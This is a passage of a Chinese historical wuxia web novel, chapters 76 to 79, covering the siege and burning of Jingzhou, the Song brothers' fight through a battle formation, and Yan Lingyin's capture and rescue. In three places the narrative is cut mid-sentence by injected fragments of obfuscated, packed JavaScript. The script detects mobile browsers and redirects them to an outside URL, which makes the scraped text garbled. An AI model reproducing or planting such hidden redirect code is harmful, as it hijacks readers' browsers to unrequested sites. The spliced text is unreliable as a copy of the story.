崔婉不再理他,起身开始收拾药包。既已开战,她要快些赶去交战处,照顾受伤的兵士。罗从舟看她举止利落无情,轻声笑了起来:“没酒也无妨……当年你爹用一坛酒买了我,那是我欠他的债,是时候还了。” 崔婉眸光清亮。罗从舟在她的注视下又咳又喘,笑意渐深:“区区一坛酸酒,骗得我同他拜了把子,又为他愧疚了一辈子……好算计啊。” 门外火光愈盛,刺啦的灼烧声也更响亮了。罗从舟往外看了一眼,惋惜地摇了摇头。 “你娘是女中豪杰,”他喃喃道,“只要拿上长枪,连你爹也比不过她。她本来不必死的,崔少丹劝她逃走,可她还是留下了,我把他们葬在一起……你去拜过他们的墓吗?” 崔婉手中的药包滚落在地,她却似无所觉,只看着罗从舟:“他们双双战死,尸骨无存。” “哈……”罗从舟只笑了一声,就不得不停下来咳嗽,可他还是在笑,呛出了泪花,“你这样聪明,我不信你没有怀疑过……崔少丹……战死?哈哈……” 他忽然仰首,对着被映成血红的苍穹嘶声喊道:“上天不仁!错判忠奸!梁帝……你万死难赎!” 76. 客山 浓烟蔽住了天日,城内城外皆有杀伐声起。白行也在火光里绕了许久,终于望见了崔婉的住处。 “你再坚持片刻,”她感觉到阿承的身子越来越僵硬,咬牙道,“婉姊姊的医术天下无双,她一定能救你。” 白行也纵身翻上屋顶,瓦片在足下沙沙有声。她的耳力灵敏,在众多杂音里听见了微弱的歌声。 谁在唱曲? “梁上燕,鸣啁啾……” 白行也连跃了几下,从一幢屋宇翻上了另一幢。 “眉头心上拢不住,便藏了美玉,衔了貂裘……” 她步伐愈急,几乎足不点地。 “水边柳,残枝头,春风谷底落悠悠……且高歌纵酒,睹甚王侯?” “婉姊姊!”白行也从两丈高的屋顶落上地面,撞翻了崔婉的几盆药草,“我有一个病人……” 倚门而立的女子闻声回头,白行也的声音闷住了。她从没在崔婉脸上看过那种表情。 “病人?”崔婉轻声开口,目光落到了阿承身上。 “病人!”白行也回过了神,大步往门边走,“他中了毒,婉姊姊,你帮我看看他。” 银针还攥在她手中。崔婉接了针回屋验看,白行也跟了进去,才发现屋内有人。罗从舟靠着榻,垂首坐在血污里,看着没什么活气,只胸口还在微微起伏。 他的手边立着只小巧的瓷瓶,白行也认得,那是临行前季问陶交给崔婉的保命珍药。 “我来施针。”崔婉验完了毒,干脆道,“你去罢,朗兄那里缺人。” 白行也将阿承放在地上,蹲身给药炉拨炭:“能解?”见崔婉点头,她这才轻出了口气,“婉姊姊,城内的火来得怪,我在找一个能灭火的人。” 崔婉神色凝重:“什么人?” 白行也低声道:“‘客山’。” 她进屋后便卸了刀,正搁在罗从舟脚边。屋内的光线并不明亮,但烛光摇曳间,仍旧照出了刀柄上流转的银色暗纹。罗从舟的视线就落在那个“飞”字上,盯着看了许久,直到眼前的烛光被挡住。 白行也身逆着光,在他面前蹲了下来:“好看吗?” 她自幼便离乡去了宛京,偶尔回来也只在蔚州城中转,没和罗从舟打过照面。这是他们第一次这样直接地、近距离地对视,往来试探间,彼此都嗅出了不寻常的味道。 罗从舟不答。 白行也似觉兴味寡淡,撑膝欲走,却又猛然回转过身。卧在地上的鬼杀刀被她用靴尖勾起,入手便刺,挑开了罗从舟血迹斑斑的衣领。 “阿行,”崔婉在她身后沉声,“莫要无礼。” “婉姊姊,你救他作甚?”白行也没有收刀,“他心脉俱损,伤口既长且深。先以内力震碎心脉再补剑,是朗哥哥的一贯作风。” 崔婉难得沉默了片刻:“他是崔家故交。” 白行也微微点头。她绕着罗从舟踱了半圈,刀尖也抵着他的脖颈转了半圈。“飞”字纹时明时灭,就闪在罗从舟眼皮子底下。他虽受胁迫,面上却无惧色。 “要杀便杀,”罗从舟哑声道,“不必磨磨蹭蹭的。” “杀你何难?”白行也冷笑,“你伤重如此,我不屑动手罢了。” 罗从舟眯起了眼,警惕地看着她。 “你胸前还纹了字呐,”白行也歪过头,眸中现出玩味,“有什么好挡的,让我瞧瞧便是。” 罗从舟抬臂想拦,但手上乏力,被她用刀背轻而易举地拨开了。他白得发青的脸上头一次浮上了异样的红,眼神狠厉。 “阿行。”崔婉又唤了她一声,语气里带着责备,“休要轻重不分。” 鬼杀刀在空中划了条弧线,最终不甘不愿地收落到白行也腿边。她拎刀起身,转头大步走了出去,没有再看罗从舟一眼。 屋内静了下来,只剩崔婉走动时衣料摩擦的窸窣声。罗从舟看着她一丝不苟地扎针、拔针,仿佛门外没有逼临城下的敌军和热浪滔天的大火。他终是忍不住开口:“火快烧过来了,你不走吗?” 阿承在半梦半醒间呢喃着什么,面色痛苦。崔婉用帕子拭去他额上的汗,将最后一根银针稳稳拔出。她的嗓音一如既往的柔和:“我要往火里去,像我爹娘那样。” 罗从舟摇头叹道:“傻孩子……你救得一人,却救不得天下人。晏氏的江山早已朽坏,你一介孤女,无依无靠,何苦还留在这个火坑里?” “那我爹娘又是何苦?”崔婉的声音和烛光一起颤着,“他们若泉下有知,见我今日对泾州百姓不管不顾,必不会认我这个女儿。罗叔,”她轻叹了口气,“我此生不习武,不从文,只求遍医天下患疾之人。我自知身微力薄,挽不得天命,也救不得国运,可即便是螳臂当车也好……我与泾州共死生。” 罗从舟有片刻怔然。他张口欲语,却在最后化成了哑然的笑。他抬手虚搭上胸口,感觉到心脏仍在不可思议地跳动。方才崔婉替他包扎时,不可能没有看见,他的左胸纹着一个虬结的“山”字,即便被他发狠地用滚油烫过,以至整片皮肤都变得焦黑,字迹也因而难以辨识,但模糊的痕迹犹在,那是他过去忠于晏氏的证明。 他怎么会猜不出来,崔婉救他,绝不只因为他是崔氏故人。 “崔姑娘,去我的府宅。”他低声道,“院中有巨木,树下栽了两株秋乐草。拔掉靠门的那一株——避开茎上的毒刺。下面有机关。” * 火舌舐着天穹,张牙舞爪地状似厉鬼。风引火动,在其间隐现出如血的艳色袍摆。苏觅背对着火光,漠然俯视着跪在身前的黑衣人。 黑衣人一跪即起。他低垂着头,貌显恭谨,说的话却并不客气:“公子这番私下离京,惹得夫人动了怒。” “那是迫不得已。”苏觅轻笑一声,“我不走,难道等着晏眆来杀我么?” 火光将他的脸映得格外白皙。到泾州后他懒怠掩饰容貌,只用粉抹去了眉心那颗过于显眼的朱砂痣。他虽然在笑,眸中却不见喜怒,只是一片不见底的深暗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686691|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 黑衣人不动声色:“休要忘了你的身份。”他说完又放缓了语气,“不过,安贵妃一事你做得好,安氏经此重创,当有段时日不敢再兴风作浪。皮囊亦可为利器,你应有所悟。” 苏觅抬指抚上自己的脸,那指尖与面颊俱是白得通透,恍如一体。他忽然扬了唇,绽出一个极尽明艳的笑来:“皮囊?” 他姿色近于妖邪,注视久了便觉心魂震荡,连黑衣人也不敢多看,微偏了头移开视线。苏觅却已索然地收了笑:“还不够。安氏经营至今,党羽无数,莫说贵妃现今尚在宫中,即便她死了,安家也仍能屹立不倒。江家那边有动静了吗?” 黑衣人摇头:“我离京时还未见他动作。” “那就再推他一把。”苏觅冷笑,“江予也活得够长了。” 黑衣人颔首称是。火光连天,他的语声里杂着噼啪的灼烧声,字句有些模糊:“夫人还要我提醒你一句,欲成大业,不可妄动私情。你本不必在此处耽搁这么久的,是因为她?” “你也本不必千里赴此放火烧城,”苏觅眼角挑起,语声慵懒,“是怀疑我?” 黑衣人隐有怒色:“别忘了,你二人的性命皆在夫人手中。” “我早便觉得奇怪了,”苏觅摩挲着指腹,缓声道,“究竟是谁把她的行程透露出来,叫人在白水河设下埋伏,又是谁教唆张无为布下邪阵,以命换命。你们到底是在威胁她,还是在威胁我。” 黑衣人闻言皱眉:“你果然被乱了心。” 苏觅抬手时衣袖滑落。他抚着左手的腕骨处,那里光滑白净,毫无伤痕,他却似觉疼痛,一遍又一遍抚得很轻:“她在北地已有两次发病,也是因为你吗。” 他说的是疑问句,尾音却沉沉压下,带了凉意。黑衣人觉到不对,抬头见苏觅鬓边已湿,唇色灰白,整个人都在轻轻发颤。黑衣人大骇,指着他道:“你竟……做到这种地步……你……” 四周不知何时聚起了黑影,火光亦被格挡在外。少年们出现得无声无息,仿似暗夜里飘动的流云。他们对苏觅沉默着扶剑行礼,站直身时,雪亮的长剑一齐指向了黑衣人。 “来得太慢了。”苏觅揉摁着额角。他在锥骨的刺痛里半阖了眼,面色不改,“也罢,动作快些。” “你敢杀我?”黑衣人怒目喝道,“你就不怕……” 剑芒闪过,黑衣人如破絮般颓然倒地,头颅滚到了一边。苏觅身形微晃,靠到了旁边的石壁上,里衣已被汗浸透了。离他最近的两个少年上前搀扶,被他挥手抵开。 “你,还有你,去寻城中有巨木的屋宅,其下有水。”他压着舌尖的血,嗓音已哑,“剩下的,随我找人。” 泾州城外,本在纵马疾驰的晏泠音忽觉手脚发软,几乎要栽下马去。她心跳剧烈,被倏忽而来的头痛淹没了一瞬。 谢初原察觉到她状态不对:“还好吗?” 晏泠音咬牙道:“无事。” 马蹄迅疾如飞,载着他们逐渐靠近了泾州城。 77. 梅落 “成均!”宋贤猛地回剑,替宋齐拦下一击,那雪亮的银枪离宋齐的肩不过毫厘,差点就要将他捅穿,“你今日怎地心不在焉!” 宋齐耳下的银环叮当作响。他面色倘恍,竟像是有些晕眩,手起剑落间,将一名骑兵斩于马下:“……大哥。” 宋贤察觉他有话要说。他一拳狠砸上幽兵的面门,让他口鼻喷血倒翻下马,又倏然后仰,避开横扫的长.枪,转而把住枪柄,使力掼入另一个幽兵的手臂:“小心身后!” 银环声大作。偷袭的幽兵被叮当之声绕得无措,如醉酒般辨不清方向,又被错身上前的宋贤一剑结果了性命。兄弟两人马擦着马,背抵着背,在震天的厮杀声里听见了彼此的心跳和喘息。 “大哥,”宋齐清晰道,“你认得这个阵法吗?” 他们率兵出城迎敌,被卷入了幽军阵中,一时无法脱身。宋贤本已心下生疑,幽军长于蛮力,善骑术、喜突袭,在此前的对战里甚少摆阵,遑论摆出这样复杂的巨阵。他近几年在外奔走经商,疏于军务,在实战经验上亦不及宋齐,经他提醒才陡然忆起:“孤锋楔入,如梅花破萼,风起阵转,似葭管浮灰,这是……落梅阵!” 全天下能将它认出的人屈指可数,宋氏兄弟刚巧是其中的两位。落梅阵创自他们的师父,多年之前,头发灰白的男子曾以剑拄地,极尽详细地为他们推演整个阵法的衍变。 “此阵举凡梅生、梅舒、梅晚、梅残四变,唯有梅残之时方可破阵。阵极凶恶,八门吉凶颠倒错乱,是为障人耳目的,你们须记住,除生、死二门之外皆不可擅闯,闯之必败。” 男子在阵法的西北角与东南角各划了一下:“于梅生时由死门入阵,于梅残时由生门出阵,可保无虞。若寻他路强行破阵,非死即伤,切记切记。” 年幼的宋氏兄弟对视了一眼,一个若有所思,一个面露困惑。男子看出他们都有话要问,便收了剑道:“我今日得闲,说罢。” 宋齐问他:“师父,你方才道八门吉凶颠倒,岂不是说生便是死,死便是生?既如此,生门已非得生之门,为何能够出阵?” 男子颔首认可,却没有立刻回答,而是看向一旁沉默不语的宋贤:“贤儿觉得呢?” 宋贤低声道:“生既非死,死即是生。” 男子抚掌大笑:“说得好!吉凶皆是虚妄,唯有求死者方可得生。你们尚且年轻,未必能悟得此阵的妙处,当勤加排演,待年岁增长,或可参悟一二。” “可是师父,”宋贤认真道,“此阵未免太过凶恶。” 一只粗糙的大手抚上宋贤的发顶。男子的面容早已模糊在了他的记忆里,唯有那温和的声音依然如在耳侧:“战场之上无情义。贤儿,这世上之事,皆是不破不立。” “大哥,”宋齐的声音将他飘远的思绪拉回,“又要变阵了,你可准备好了?” 他们是血脉相连的至亲,光是听语气,宋贤便能猜出他心中所想。他一时心神激荡,断然道:“不可!你我来时被迫于景门入阵,已失先机,此阵从内破不得……” “从外更是难解。”宋齐眺向远处,“大哥,城中火尚未灭,一旦粮仓被焚,你我即便出得城去也无力回天。当年师父并未教第二种破阵之法,可你我曾彻夜推演,亦非一无所得。今日正好一试。” 宋贤手上血迹湿黏,他狠狠擦了一把:“那便由我开道。” “由我。”宋齐摇头,“北地的茶务在你手中,馥川需要你。” 宋贤心如刀绞,喊道:“阿齐!” “是我之过,”宋齐已拨转了马头,“我早该认出他的,我甚至还与他交过手……是我懦弱,我并非认不出,只是不敢认。” 他最后落下一句:“大哥,祝你得胜。” 阵型将变未变之际,宋齐带头冲向了西北角的死门。他高举长剑,扬声喝道:“杀敌!” 背后跟随他的是无家室负累的壮年士兵。他们血气昂扬地齐声大喊:“杀敌——” 阵型被他们冲乱了一瞬,随即迅速如涛卷起,将他们彻底淹没。宋贤浑身是血,在得得马蹄声中抬手擦脸,没有回头看。 余下的士兵们皆望着他,等他下令。宋贤直到阵型已定,于东南角现出生门,才回身高喊:“诸位将士随我走!莫要恋战,如有人挡道,斩!” 他本性非嗜杀之人,否则也不会走上经商之路,却在这一日杀红了眼。东南角的防御相当紧严,被他一柄长剑硬生生撕出了缺口。他守在缺处,直至最后一位士兵越过了他突出重围,才骤然勒马回头。 士兵惊呼:“统领!” 宋贤狠声:“从外围蚕食此阵,让轻骑不要深入,直接放箭!”话音未落,他已被填补上空缺的幽兵团团围住,又一次陷入阵中。 落梅阵的另一凶恶处在于,生门仅开一次。 眼前皆是尘沙满面的陌生的脸,宋贤驰走其间,找不到他想见的人。他反身入阵时已抱了必死之心,此刻再顾不得其他,只竭力呼喊着:“阿齐!” 状似松散的阵型越收越紧,他挥剑的手已然酸麻,每一次递出时都在打颤。天色将暗,他灵敏的眼力能助他于夜中视物,在对敌时颇占优势,但幽兵如蝗虫般越聚越多,倒下一个便立刻涌上两个,怎么也杀不尽。 可他不能停手。双生子结伴降世,当同去同归。他即便是死,也要与宋齐一起。 何况他是兄长。 斜刺里寒芒骤闪,宋贤反手出剑格挡,竟扑了个空。那柄细长的剑擦过他的耳畔,刺中了他身后想要偷袭的幽兵。 那人收剑时带出了喷溅的血,尽数淋在了宋贤发间。他有一瞬连心跳也停息。 这是他再熟悉不过的招式。 “是你!”宋贤倏然回过头,不待音落,长剑直取那人咽喉。他身上的儒雅之气已全然消泯,戾气四溢如浴血阎罗,招招致命,“你怎么敢?” 詹士伦跑马跑得浑身是汗。他的坐骑给了晏泠音,现在身下的这匹亦是良驹,但迅捷不及,在宋齐的剑光里边躲闪边哀声嘶鸣。他用力勒住马首,抬臂挡下宋贤的剑,皱眉道:“为何踏进阵心?我不是教过你……” 宋贤出剑太快,落在空中几乎成了虚影,竟连詹士伦也难以辨出招法。他忽地扬起唇角,浑不在意身上被划出的血痕:“贤儿出师了。” 他二人的剑法同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711948|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一脉,对彼此的弱点亦都知悉,只一个经验更老,一个锐气更盛,一时间竟斗得难分轩轾。他们以快打快,缠在一处,周围的幽国士兵皆难以插手,慢慢在他们身周留出了空隙。 阵心凶气愈重,四散开来,压得旁边的人胸中闷痛。有士兵察觉不对,喃喃道:“这阵……” 落梅阵宽进严出,是一块铁板,若阵内不自乱,极难从外击破。可宋贤与詹士伦皆是半途逆行入阵,于不经意间带换了阵型,八门凶吉又改。 此刻两人所立之处,才是死门。 “贤儿,”詹士伦被宋贤的攻击震得虎口发麻,他不怒反笑,在兵器相击的铿然声里抬高了嗓音,“看好了,这是落梅阵的第五变。” 数年前他离开蔚州,宋贤送他至城门外。他时常出远门,兄弟俩皆已习惯,此次又逢宋齐偶感风寒,昏沉不起,因而道别时只余他和宋贤。当日的少年还不知这一别便是半生,只是见他神色落寞,想尽办法要安慰于他。 “待师父回来,”宋贤笑道,“梅子酒也该酿成了。” 他也笑,想抬手抚他发顶却又收回:“只怕赶不及。” “近来阿齐和我一直在商研阵法,自觉小有所得,”宋贤恭敬地递来素纸,“还请师父过目。” 他随手翻过,心下忽窒:“以一死换一生,太凶,实非良策。” 宋齐微皱眉道:“那也不能束手待毙。”他接了纸,见师父转身欲走,忙又道,“徒儿愚钝,还有一事不明。落梅阵四壁皆如铁壁铜墙,唯阵心稍弱,徒儿观之,不似故作破绽以诱敌,倒像是另有机窍,只一时推演不出。” 他本已迈步,闻言却足下一停,叹道:“时辰将至,我该走了,下回再教你。” 何须他再教呢?詹士伦笑容不减,在分神的刹那感到利器刺入小腹的疼痛。仰倒着摔下马背时,他终于能避开剑影的拦阻,看清宋齐血污之下惊疑的面容。 落梅阵的第五变即是梅落,自创阵伊始便从未用过,因它的用途只有一个:自毁。 他早早替自己留了后手,就是预防有朝一日收势不及伤到旧人。他踏在敌我双方的分界线上徘徊太久,已无所谓回头与否,但他教出的两个徒儿还在往前,他既然活着,就得帮他们铺路。 算作对他前半生荒唐行事的救赎。 宋齐左肩的伤口开裂,血淌了满臂。他右手森白的腕骨外露,已无法持剑,被身旁的兵士们拼死护着。他不肯独自逃走,用牙齿撕开绕在臂上的布条,将剑柄和左手牢牢地缠在一起,以防长剑从手中脱落。 “再坚持一下,”宋齐举目间看见泾州城中火势已弱,唇边露出浅淡的笑,“我们会赢。” 银环失了一只,效力大不如前,他在催动环声时,耳中渗出了血。但很快,他便觉察困住他的阵型变得松散。周围的幽兵勒不住马,有些焦躁地踱着步,神色张皇。巨阵越缩越紧,却像是漩涡般将幽兵搅在其中,尖牙对准了自己。边缘再度被撕出缺口,当先纵马跃入的人于疾驰间弯弓搭箭,一箭射入了幽兵的眉心。 谢朗握住宋齐因脱力而颤抖不止的手。他眉目森冷,对身后的轻骑队清晰道:“杀。” 78. 抉择 琴声缥缈。 晏泠音在持续不断的头痛里又听到了琴声。和上一回不同,她的疼痛减轻了不少,琴音却清晰了更多。那是她从未听过的曲调,高亢、激昂,如金石相击,裂帛鸣钲。 那是杀伐之声。 眼前漫起赤色的雾,她恍如置身战场之中。可今日的她无力行动,她和千万人一起仰躺在血泊里,周身腐臭,尸体叠着尸体。 她应该还很小,因为有人将她放在胸前,抱得极紧。直到那人的身体由温热转为冰凉,她的手臂还紧紧束缚着晏泠音。 晏泠音觉得渴,她口唇发干,焦渴难耐。可她动弹不得,浑身乏力,连眼皮也快要难以睁开。耳畔的琴声愈发凄厉,催得她心中震荡,几乎要落下泪来。她分明听不懂曲中深意,却无端地觉得苦,潮水般的苦涩越聚越高,淌遍她的全身,沉淀了恨意。 她在还不会说话的年纪就懂得了仇恨。它强大到可以盖过恐惧,淹没疼痛,埋葬掉她未曾经受未被告知的爱意。 琴声渐轻渐低,最终转为幽幽的呜咽。晏泠音双颊已被泪沾湿。她后知后觉地意识到了琴声的可怖,它能操纵人心。 幻境碎散,晏泠音头痛更剧,却觉谢初原勒停了马。他们从小道绕行,已靠近了泾州的西城门,一路除了几个离队的散兵,并未遇上旁人。但就像是凭空出现的一般,七个孩童身形的黑衣人横挡马前,其中两个就地滚身,抬刀去砍马的前蹄。 马扬蹄长嘶,愤怒地打着响鼻。他们一击不中,又灵活地滚身后退,整个过程都在眨眼之间。 没等谢初原开口,七人已一齐单膝跪地,声音雄厚:“逐风卫救驾来迟,请殿下恕罪!” 逐风卫。 晏泠音冷眼打量着他们,玄袍玄靴,确是逐风阁的打扮,只是他们身形虽然瘦小,音色却如成年男子。她心下生疑,但面色如常,扬声道:“让路。” “殿下受奸人挟持,属下当拼死相救。”立于中间的男子站起了身,“殿下莫怕。” 马又喷了个响鼻,烦躁地原地踏着步。谢初原仍未开口,但晏泠音直觉不妙。这些人身份不明,又胡言乱语,有意攀咬于她,怕是居心叵测。 “我与逐风卫素无交情,”她冷冷道,“诸位定要拦我?” “殿下是公子的心上人,就是逐风卫的主子,”男子恭声道,“公子已久候多时,只待泾州城破,便可带殿下回幽国。” 晏泠音心下百转:“是你们放的火?” “公子神机妙算,”男子笑道,“属下只是照命行事。” 话已至此,晏泠音反倒冷静了下来。她松开了抓着谢初原衣袍的手:“好,我跟你们走。”她侧身想要下马,却被谢初原反手拦住了。 “滚开。”谢初原厌恶道,“脏东西。” 晏懿对谢家疑心深重,却一直没走到撕破脸的地步,原因之一便是谢家对幽国的恨。只要他们还驻守边防,就绝不会放幽兵入侵。谢氏或许会有不臣之心,却不可能通敌。 幽兵杀了太多的梁民。 谢初原纵马欲闯,那七个人足步迅疾,身形一晃已包抄上来,堵住了左、前、右三面,余下一人直钻马腹,竟是要攀爬上来。谢初原抬脚便踢,那人却滑溜得像鱼,一缩身便避闪过去。 若在他气力盛时,即便赤手空拳斗这七人也丝毫不惧,但他适才耗了精神,兼之身上带伤,着实力有不逮。七人的武艺俱是同一路数,迅猛稍欠却狡诈有余,尤善死缠烂打,叫人越是急切越是难以脱身。晏泠音去踢马腹,想要催马疾行,却被埋伏在下的男子抓住了脚,手上使力要把她拽下马去。 “你家公子已经死了,”晏泠音足尖勾起,布鞋底部的暗刺微闪,将那人的手刮出了血痕,“你们还要效忠于他?” “殿下说笑了,”男子应声道,“我等适才刚见过公子,正是奉他之命……” 他说话间一个不备,被马一蹄子撅得四仰八叉,却仍狠抓着晏泠音的脚踝,要拉她下马。晏泠音还要踢,额角却忽然痛得锥心,她冷汗骤出,手脚都使不上力,身不由己地仰翻下去。 后背砸上泥地的那一刻,她又听见了铮然琴音。 是幻觉吗? 谢初原的衣衫已经湿透,他身形摇晃,在冲出去的那一瞬又勒马回头。晏泠音脖颈被掐,一时间说不出话,只能拼力摇头。 快走。 赤色蔽住了天,她几乎疑心自己尚在梦中。琴声越来越急促,越来越凄恻,晏泠音偏过头,狠狠咬住了掐着她脸庞的手指。唇齿间血味弥漫上来,那人痛呼一声,而她借机奋力撑地跃起,肩颈处的痛甚至压过了额角。但就在下一瞬,她被旁边扑上来的男子重重压倒在地,脸半闷着,反剪了双手。 “别过来,”他狠道,“不然我杀了她。” 这句话不是对谢初原说的。在他身后,少年将军已弯弓搭箭,罩住了他们两人。 “爹爹,”谢朗刚从阵中杀出来,没有带盔,那张俊美的脸上已脏得看不出眉眼,只有漆眸深黑如寒夜,“你先走。” 谢初原皱眉道:“朗儿。” 他僵硬的姿势和苍白的面色骗得过他人,却骗不过谢朗。谢朗弓箭未动,又补充道:“交给孩儿便是。” 七人中有两人守着晏泠音,两人已被谢初原掼倒,余下三人见事不好,彼此对了下眼色,突然抽刀围上了谢初原,想挟持他就范。还未迈出半步,破空之声已如长哨响过,连珠箭带着寒芒先后扎进了两人的后心。第三人很识眼色,立即后跃,和谢初原拉开了距离,只仍虎视眈眈地看着,并未走远。 另两人见得空隙,拖着晏泠音便想逃。谢朗迅速调转箭头对准了他们,面上看不出情绪:“别动。” 他这一路跑得太急,旁人都被抛在身后,虽赶上了时辰,却也使得此刻无人能相助于他。他背后的箭囊已然空了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711949|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仅剩手中一支羽箭,即便箭法再高明,也做不到同时射中两人。而只要须臾之差,晏泠音就会送命。 这是个相当微妙的处境。谢朗要自保,要救谢初原,都非难事,只看他如何选。 谢朗不动,那两人也不敢动,抵着头小声交谈。晏泠音半张脸贴着泥地,口鼻都被挤按得变形,只能勉强睁开另一侧的眼睛望向谢朗。谢朗也正沉默地望着她。 他重甲之下是来不及换下的喜服,和她身上的那件一样鲜红夺目。他们不似新婚夫妻,却有着难以言说的默契,在这短暂的对视里明白了对方所想。 “朗儿,”谢初原抬高了沙哑的声音,他仍按马未走,“她救过我。” “你们是何人?”谢朗寒声问道。 “逐风卫。”男子见谢朗显然心有顾忌,知他还不愿晏泠音死,心下稍定,“殿下,属下情急所迫多有得罪,待脱身后再向你和公子请罪。” “公子?”谢朗眯了眼,“哪个公子?” 男子冷笑道:“休要拖延时间,逐风阁中哪里有第二位公子?自然是……” 风声忽起,男子陡然惊觉,拎着晏泠音迎上身侧刺来的长剑。太快了,那人形同鬼魅,一路欺近毫无声息,他一直防备着远处的马蹄声,以免谢朗的援军赶到,却没想到还有旁的埋伏。 长剑中途改道,险险擦过了晏泠音的鬓发,来人亦有所顾忌,不敢肆意用剑。这就给了人逃跑的时机。 “走!”男子一面抵着晏泠音用她挡剑,一面对另一人喊道,“往回撤!” 可是破空声又起,直刺向转身欲走的两人。这一箭去势极尽凌厉,已是避无可避,落处却令人心惊。持剑者错身欲拦,却被其中一个黑衣男子缠住,慢了一瞬。 谢初原哑声道:“朗儿!” 晏泠音合眼的一瞬,箭尖砸上了她的小腹。她呕了一声,痛得呛出血来。 眼见谢朗起了杀心,两人都明白人质用不得了。他们松开晏泠音回身便走,却见剑芒刺眼,身前已皆是手持长剑的少年。 “公子说了,”最先赶到的那位声音清亮而冷酷,“不留活口。” 晏泠音半伏在地,又呕了一口血。谢朗跃身下马朝她奔来,在她眼前晃动成模糊的影。耳畔的琴音停了,她似有所感,无端地抬起头,朝更远处投去一瞥。 抱琴的男子一身红衣如被血染,隔着这么远,晏泠音却能看出他在发颤。此刻她不应该笑,她虚弱的笑容不似安慰,更似耀武扬威。 她赌苏觅会来。 “苏自膺已死……传开……必无心再战……” 她气息不畅,说得断续,谢朗抬指抵住了她的唇。他抱着她站起,臂膀间皆是寒凉血气。素有神箭之誉的将军被弓弦割破了掌心,这是第一次,他伤于自己的锋利。 他抚着晏泠音的发,低声安抚:“没事了,殿下。” “我们回泾州。” 79. 迷离 “公子。”阿承推开门时,一只空酒坛骨碌碌地滚到了他脚下,惊得他往后一跳,“……公子?” 屋内没有点灯,昏沉沉的,阿承一时不敢进去,眯着眼寻了片刻才看见苏觅。他背对着门靠坐在矮桌下,半阖着眼,长发如瀑泻了一身。 而在苏觅身周,还倒着好几个酒坛。寒风从未关的窗扇中灌涌进来,拂起苏觅的发,也将它们吹得满地滚动。阿承往里走了一步,这才发现屋里还有旁“人”。流夜敛着翅膀,就立在窗边,铁钩般的喙湿漉漉的,一双锐利的鹰眼紧盯着他这位不速之客。 阿承属实没想到他主子会酗酒,还是和一只鸟举杯对饮。他直觉现在不该打扰苏觅,但想到身后的人,还是硬着头皮又上前一步:“公子,殿下说想见您。” 一只酒坛被轻轻踢开,苏觅倚着桌案回身,目光越过阿承的肩,迎上了晏泠音的视线。他挑了下唇角,似是在笑,却并没开口,就那样安静地望着她。 显得相当乖巧。 阿承侧身给晏泠音让开道路,刚想替他们掩门又觉不对,探头朝窗边的流夜道:“你不走吗?” 流夜喝得醺然,懒洋洋地瞪了阿承一眼,昂着头跳去了窗外。阿承虚掩上门,背抵着墙,一口气刚叹到一半,就猛地咽了回去。 他站直身,拘谨地朝大步走来的白行也招呼:“白姑娘。” 白行也手上端着汤药。她走得快,那药盏却分毫不晃,连一滴也没有溅出来。流夜蹦跳着跟在她身后,将铺在廊上的木质地板踩得吱嘎作响。药盏被塞进阿承手中时还冒着热气,他一句也没多问,将药喝得干干净净。 白行也睨着他道:“你不怕我毒死你?” 阿承呛得咳了起来。白行也接了空碗,这才正色:“婉姊姊说,一个疗程已尽,你中的蛇毒算是清完了,以后不必再服药,自己注意保暖即可。” 阿承舔着唇角,竟像是有些意犹未尽:“……这就清完了?” 流夜扇着翅,警告性地叫了一声。白行也歪头看他,阿承本以为她又要堵他一句,说些嘲笑的话,却不想她简短道:“多谢。” 阿承又咳了起来,满面通红。白行也没再提这个话题,转而看向留了缝的门扇:“谁在里面?” 阿承刚犹豫着张口,白行也已转过了身:“罢了,我不感兴趣。就是知会你一声,京城来信了,搁在鸽房,你替我转达罢。” 她走得毫无留恋,倒是流夜又颇带敌意地盯住他看了片刻,临走前,将羽翅上沾的酒尽数蹭在了他身上。 室内昏暗。 晏泠音在苏觅身前蹲了下来,背抵着墙。地上全是酒坛,她这一路几乎找不到下脚之处。自她进门起,苏觅便望着她笑,随着她走近,那笑容越来越深,越来越热烈。或许是因为喝了酒,他一向惨白的脸上竟然现出了红晕,显得有了些活气。 今日是阴天,他们又离窗很远,透进来的微光只在地面浅浅铺了一小片,照不亮黑暗里的人。晏泠音被酒气浸得发晕,皱眉道:“你喝了多少?” 苏觅不答反问:“伤都好了?” 谢朗的那一箭没有射在要害,早在大婚的前一日,他便差人送来了护身软甲,让她穿在嫁衣里以备不测。晏泠音吐了几次血,但伤势不重,只腰部和肩部被摔得厉害,还需再养些时候。 她点头,听见苏觅低低叹了一声:“谢朗怎么下得去手。” “他知道我不会被伤。” “我的意思是,”苏觅固执地又重复了一遍,神色难得有些茫然,“他怎么下得去手?” 